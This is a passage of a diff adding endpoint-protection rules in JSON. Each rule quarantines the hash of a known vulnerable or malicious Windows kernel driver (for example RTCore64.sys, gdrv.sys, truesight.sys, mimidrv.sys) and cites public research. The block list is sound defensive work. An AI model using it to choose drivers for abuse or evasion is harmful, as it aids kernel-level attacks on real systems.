+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbec168d-3db5-55df-aca8-f58e7124e4a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822800Z",
+  "creation_date": "2026-03-23T11:45:30.822802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1a34446a3d8b2875a505b109a1c78177f9fa887472699ec9db5147b1074e42f",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbfd3ad2-30a8-5d43-8a3a-58dd34ad2527",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143278Z",
+  "creation_date": "2026-03-23T11:45:32.143280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f2cf1c9502c5c5054edb556827ba30ffc2e6689faf807db404672781b032eaf",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc0fb1a5-ab03-5a9e-9b99-23b4157bdc31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144239Z",
+  "creation_date": "2026-03-23T11:45:32.144242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce106afd6a9996ac0150709a30d61ece7d7bfe1f27492c00f4fabab9ec40575d",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc211c39-1c18-50b4-8fc4-19ab2100642c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460766Z",
+  "creation_date": "2026-03-23T11:45:30.460769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63af3fdb1e85949c8adccb43f09ca4556ae258b363a99ae599e1e834d34c8670",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc26991c-7a8d-5f32-8da1-2ac9bdaee044",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461412Z",
+  "creation_date": "2026-03-23T11:45:30.461416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c09dfc18959fe51d3e5ca1500a94ab74faf0eb72040930e89cdbac653df9e816",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc2ae10a-2b78-532c-b490-541ba4da7ce1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816730Z",
+  "creation_date": "2026-03-23T11:45:30.816732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8a34012c22a650972b9ecad988d346c8670bcd51ea2dd3ab7fe4562e117f1b9",
+  "comment": "Vulnerable Kernel Driver (aka tdeio64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc2d271c-83f8-5eb7-bd88-00f6fc15ceae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159925Z",
+  "creation_date": "2026-03-23T11:45:31.159927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd0a5c191a978babdeb51d51a04febf704eba136340779428d81ebc943ea414c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc532f37-a6b6-55c9-ba2d-913f68dd3b66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828512Z",
+  "creation_date": "2026-03-23T11:45:31.828514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6181015e118e8608d4566b40ba17989687fa2ea747c5f8f1905b5a234cfeebeb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc54e382-f4eb-5e6d-bde3-a6f577ae4666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819154Z",
+  "creation_date": "2026-03-23T11:45:31.819156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "696cef6890b99a72a0f92b6bd3d9e5ad490f29974c559fda2242f85534585700",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc5973e9-d3f5-5a2a-a478-1ed80d58e913",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830295Z",
+  "creation_date": "2026-03-23T11:45:30.830297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd6451ffd62f127371b838d4ab8e353df383b38b548f0cce33fa70cdad4ee13b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc5e17e2-978f-5162-9e1c-dc42fca4d15f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829959Z",
+  "creation_date": "2026-03-23T11:45:30.829962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35ae4385e59c4ad684d6344ceb4c1fed53589fb56afb4b0c639bacd11356664c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc5f6ed9-5fa8-5235-8991-3dd4a51267dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811327Z",
+  "creation_date": "2026-03-23T11:45:31.811329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c428d3faddd8e0f6678ced8e923eed078877e5ee6cf7b2c20b29315f84b5a8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc5fa0d0-0654-55cd-ab17-687ba6bad1f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456306Z",
+  "creation_date": "2026-03-23T11:45:30.456309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11bc55c0771d692279298211c1d434c04168e7c7f7c4328bfd600215b88c819b",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc7033d3-76d0-5f11-8d6b-a5128db279d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145018Z",
+  "creation_date": "2026-03-23T11:45:31.145020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a03d159cd02bf1f8cda64a0843dd4ee7379dde9030985ede6c8a16e3b854c112",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc719060-d526-59b9-a627-8860bbe62c15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473514Z",
+  "creation_date": "2026-03-23T11:45:30.473517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c84b0dbc0024c88c61a06d0aa7663a17a15e7c062f185811c5d85e1155e25aeb",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc8750b8-4d37-5a54-8aec-dee239575a58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606309Z",
+  "creation_date": "2026-03-23T11:45:29.606312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee24071d9a0ef38dc98929cfb4d316f9fb010de107c110fad2403022cf1eebfc",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cc890b60-3935-5bd3-a1f1-a8dd4f623dd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823845Z",
+  "creation_date": "2026-03-23T11:45:30.823848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60744995c1eb14063a6f33e17c77f081c05a4e7bc4d4154e291a70d74d44efce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cca11486-603e-578d-ba67-e7a279a86c8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816748Z",
+  "creation_date": "2026-03-23T11:45:30.816750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8fc8e3a1348393c5d7c3a84bcbae383d85a4721a751ad7afac5428e5e579b4e",
+  "comment": "Vulnerable Kernel Driver (aka WiRwaDrv.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccb4faf1-d1de-5882-8ccf-161101d53056",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812028Z",
+  "creation_date": "2026-03-23T11:45:31.812030Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c891c2b8dc44d5b8c3156011f3daed4c15f88987ac712f5500e2b1f5248320e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccb50528-c00c-538c-8329-5946a44a33ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607276Z",
+  "creation_date": "2026-03-23T11:45:29.607278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607283Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40061b30b1243be76d5283cbc8abfe007e148097d4de7337670ff1536c4c7ba1",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccb56504-0f4b-5314-8590-1fe56ae9466f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608968Z",
+  "creation_date": "2026-03-23T11:45:29.608970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccc1ba0b-b9a5-52dc-ad3c-5e5c5f484ad8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468433Z",
+  "creation_date": "2026-03-23T11:45:30.468437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba467c6edee7266721c220fbc84cb80c995d429052846865d869609602d6e48c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cccd6743-9e7d-5fcb-9711-b5aa0d58db4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
